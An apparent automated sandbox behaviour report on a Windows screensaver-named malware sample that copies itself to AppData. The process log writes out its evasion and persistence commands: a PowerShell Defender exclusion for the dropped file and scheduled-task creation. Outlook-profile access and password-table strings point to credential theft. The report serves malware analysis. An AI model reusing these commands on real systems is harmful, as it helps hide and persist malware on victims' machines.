File created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Mutant created: \Sessions\1\BaseNamedObjects\jDDZSFHxEGhwuJFCXuaQH

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

File created: C:\Users\user\AppData\Local\Temp\tmp1488.tmp

Jump to behavior

Source: MB263350411AE_1.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: MB263350411AE_1.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000029CC000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000029BE000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000029AE000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.00000000031AE000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.00000000031BE000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.00000000031CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MB263350411AE_1.scr.exe, 00000000.00000000.1654644721.00000000005D2000.00000002.00000001.01000000.00000003.sdmp, nDVstwLnVvg.exe.0.dr	Binary or memory string: INSERT INTO users (first_name, last_name, email, [password]) VALUES (@firstName, @lastName, @email, @password);

Source: MB263350411AE_1.scr.exe	Virustotal: Detection: 36%
Source: MB263350411AE_1.scr.exe	ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

File read: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\MB263350411AE_1.scr.exe "C:\Users\user\Desktop\MB263350411AE_1.scr.exe"
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Users\user\Desktop\MB263350411AE_1.scr.exe "C:\Users\user\Desktop\MB263350411AE_1.scr.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Users\user\Desktop\MB263350411AE_1.scr.exe "C:\Users\user\Desktop\MB263350411AE_1.scr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: MB263350411AE_1.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

